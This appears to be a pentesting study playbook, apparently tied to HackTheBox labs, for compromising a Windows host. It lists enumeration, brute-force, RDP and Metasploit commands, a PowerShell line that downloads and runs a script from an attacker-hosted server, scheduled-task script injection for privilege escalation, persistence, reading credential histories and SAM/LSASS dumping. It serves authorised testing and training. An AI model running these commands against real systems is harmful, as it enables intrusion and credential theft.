playbooks

Objective

Systematically compromise a Windows target by moving through information gathering, initial access, post-exploitation enumeration, privilege escalation, and pillaging to achieve SYSTEM-level access and collect evidence.

Prerequisites

  • Scope defined and ROE signed — see Pentesting Fundamentals
  • Network scan complete — active host and open ports identified
  • Note-taking environment ready — log all commands, timestamps, and outputs

Phase 1 — Windows Information Gathering

Identify Windows-specific services (RDP, SMB) and gather host details. Note software versions visible on web interfaces — unpatched versions may have publicly available CVEs.

Nmap Scan for Windows Services

Windows targets typically expose RDP (3389) and SMB (445). SMBv1 indicates an outdated and likely vulnerable host.

ℹ︎Nmap Commands: 
nmap -sV -p- <target-IP> -oA windows-scan

-sV — service and version detection -p- — scan all ports -oA — save results in all formats

SMB Enumeration with NetExec

NetExec (successor to the deprecated CrackMapExec) enumerates SMB details, tests for null sessions, and lists accessible shares.

ℹ︎NetExec Commands:

Detect SMB version, hostname, domain

nxc smb <IP>

Test null session, enumerate users

nxc smb <IP> -u '' -p '' --users

Test guest access, list shares

nxc smb <IP> -u guest -p '' --shares

Low Hanging Fruits — Checklist

After the initial Nmap scan, review every service before attempting exploitation:

ℹ︎Quick Wins Checklist:
  • SMBv1 enabled? Research EternalBlue (MS17-010) and similar exploits
  • RDP on 3389? Check for BlueKeep (CVE-2019-0708) on unpatched systems
  • Web interfaces on any port? Check for default credentials and software version at page footers
  • MSSQL on 1433? Test for weak credentials or xp_cmdshell
  • WinRM on 5985/5986? Test for credential-based access
  • Message broker (8161)? Check for default credentials or insecure configuration

Do not fixate on a single service — go through every open port and research unfamiliar services.

Tools

Phase 2 — Windows Initial Access

Leverage identified services and credentials to gain a foothold on the target.

SMB Exploitation

SMB is a common entry point, particularly on older systems. Spidering shares with valid or guest credentials can reveal sensitive files and additional access paths.

ℹ︎SMB Access Commands: 
nxc smb <IP> -u "john" -p "password" --spider Devs --pattern .

— Spider the Devs share; successful access indicates at least read permissions

nxc smb <IP> -u "john" -p "password" --share Devs --get-file tmp.ps1 tmp.ps1

— Download a specific file from the share

Brute Force (Last Resort)

Only use credential brute force when no other access path is available — it is noisy and likely to trigger alerts.

ℹ︎Brute Force Commands:

RDP brute force

hydra -l <username> -p "<password>" rdp://<IP>

SMB credential spray

hydra -L users.txt -P passwords.txt smb://<IP>

Use any protocol Hydra supports

RDP Access via xfreerdp

Once valid credentials are obtained, use xfreerdp to open a full remote desktop session.

ℹ︎xfreerdp Commands: 
xfreerdp /u:<username> /p:"<password>" /v:<IP> /cert:ignore

Domain account:

xfreerdp /u:<username> /d:<DOMAIN> /p:"<password>" /v:<IP> /cert:ignore

Metasploit Exploitation

Use identified CVEs or Metasploit modules against vulnerable Windows services.

ℹ︎Metasploit Commands: 
msfconsole -q
search <service/application-name>
use <module-index>
set RHOSTS <target-IP>
set LHOST <attacker-IP>
run

Tools

Phase 3 — Windows System Enumeration

After gaining access, collect detailed information about the target system to identify privilege escalation paths and sensitive data.

Focus Areas

CategoryWhat to Gather
User PrivilegesCurrent user rights and special privileges
Group MembershipsGroups the user belongs to (Administrators, RDP, etc.)
System InfoOS version, build, installed updates
Scheduled TasksTasks running as SYSTEM — check for writable scripts
Network ConfigInterfaces, open ports, active connections
Running ProcessesServices, processes, and their associated accounts

Manual Enumeration Commands

ℹ︎System Enumeration Commands:

Current user privileges

whoami /priv

Current group memberships

whoami /groups

Full system information (OS, architecture, hotfixes)

systeminfo

List installed Windows updates (Quick Fix Engineering)

wmic qfe

Detailed list of all scheduled tasks

schtasks /query /fo LIST /v

Detailed user account information

net user <username>

Check NTFS file and directory permissions

icacls <path>

PSReadline Command History

PowerShell saves a history of commands run by each user — often containing credentials, file paths, or previous attack commands.

ℹ︎PSReadline History Commands: 
Get-Content (Get-PSReadLineOption).HistorySavePath

— Read the current user’s PowerShell command history.

If PSReadLine options are unavailable, read directly:

type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Check for other users (requires elevated access):

type C:\Users\<username>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Look for: credential strings, net use commands with passwords, custom scripts referenced by path, previous enumeration commands that reveal what the user was doing.

Privilege Reference (whoami /priv)

PrivilegeMeaning
SeChangeNotifyPrivilegeBypass directory traversal checks
SeImpersonatePrivilegeImpersonate other users after authentication — high-value escalation vector
SeIncreaseWorkingSetPrivilegeIncrease memory available to a process

WinPEAS — Automated Enumeration

WinPEAS automates the above collection and highlights privilege escalation vectors for Windows.

ℹ︎WinPEAS Commands:

On attacker machine:

python3 -m http.server 8080

On target (PowerShell — in-memory execution):

powershell "IEX(New-Object Net.WebClient).downloadString('http://<attacker-IP>:8080/winPEAS.ps1')" > winpeas.txt

Tools

Phase 4 — Windows Vulnerability Assessment

Analyze enumeration output to identify privilege escalation and lateral movement opportunities.

Analysis Checklist

ℹ︎Vulnerability Analysis Checklist:
  • Unpatched OS? Cross-reference systeminfo build number with known CVEs
  • SeImpersonatePrivilege enabled? Research PrintSpoofer, JuicyPotato, or GodPotato
  • Scheduled tasks running as SYSTEM with writable scripts? → Script injection
  • Stored credentials in files, registry, or environment variables?
  • Writable directories in PATH? → DLL hijacking opportunities
  • SMBv1 active? → Research EternalBlue (MS17-010) if not already exploited

Scheduled Task Misconfiguration

Tasks that run as SYSTEM but execute scripts in writable locations are a common privilege escalation vector.

ℹ︎Checking Task Permissions:

Verify write access to the scheduled script or its parent directory

icacls <script-path>

Open Task Scheduler GUI (if RDP access available)

taskschd.msc

Note: Windows uses inherited NTFS permissions — child directories can accidentally inherit write permissions from a parent. Even without read access on a file, write access to the parent directory may allow replacing the file.

Phase 5 — Windows Privilege Escalation

Escalate from standard user to Administrator or SYSTEM using identified vectors.

Script Injection (Scheduled Task)

If a scheduled task runs as SYSTEM and executes a writable script, inject commands to escalate privileges.

ℹ︎Script Injection Commands:

Append to the PowerShell script (add current user to Administrators):

Add-LocalGroupMember -Group "Administrators" -Member "WIN01\\john"

Or inject a reverse shell payload and wait for the task to trigger.

Credential Harvesting

WinPEAS and manual enumeration may reveal stored credentials in configuration files, registry keys, or browser storage.

Persistence via Task Hijacking

After escalation, create a new scheduled task to maintain persistent access.

Password Changes

With Administrator access, change account passwords directly:

net user <username> <newpassword>

Post-Escalation Enumeration

After gaining elevated access, re-run WinPEAS and manual enumeration with the new privileges.

ℹ︎Post-Escalation Commands:

Count active firewall rules:

netsh advfirewall firewall show rule status=enabled name=all | find /c "Rule Name"

Re-run WinPEAS from the Administrator context for additional findings.

Phase 6 — Windows Pillaging

Extract sensitive information from the elevated-privilege context for lateral movement, data exfiltration, or reporting evidence.

What to Look For

  • Credentials stored in files, browser profiles, or credential manager
  • SAM database dump (hashed local account passwords)
  • LSASS memory for active session credentials (with Meterpreter/Mimikatz)
  • Sensitive documents accessible with elevated permissions
  • Network shares with sensitive data
  • Domain controller access path if the target is domain-joined

winpill.ps1 (HTB Companion Script)

An HTB-provided Windows pillaging script. Execute as Administrator for full results.

ℹ︎winpill Commands: 
Start-Process powershell.exe -Verb RunAs -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File C:\\winpill.ps1"

Script: winpill.ps1 — available from HackTheBox resources

File Transfer via SCP

If SSH is configured on the Windows target, SCP can be used for file transfer.

ℹ︎SCP Transfer: 
scp <username>@<target-IP>:<remote-path> <local-path>

Tools

References / Images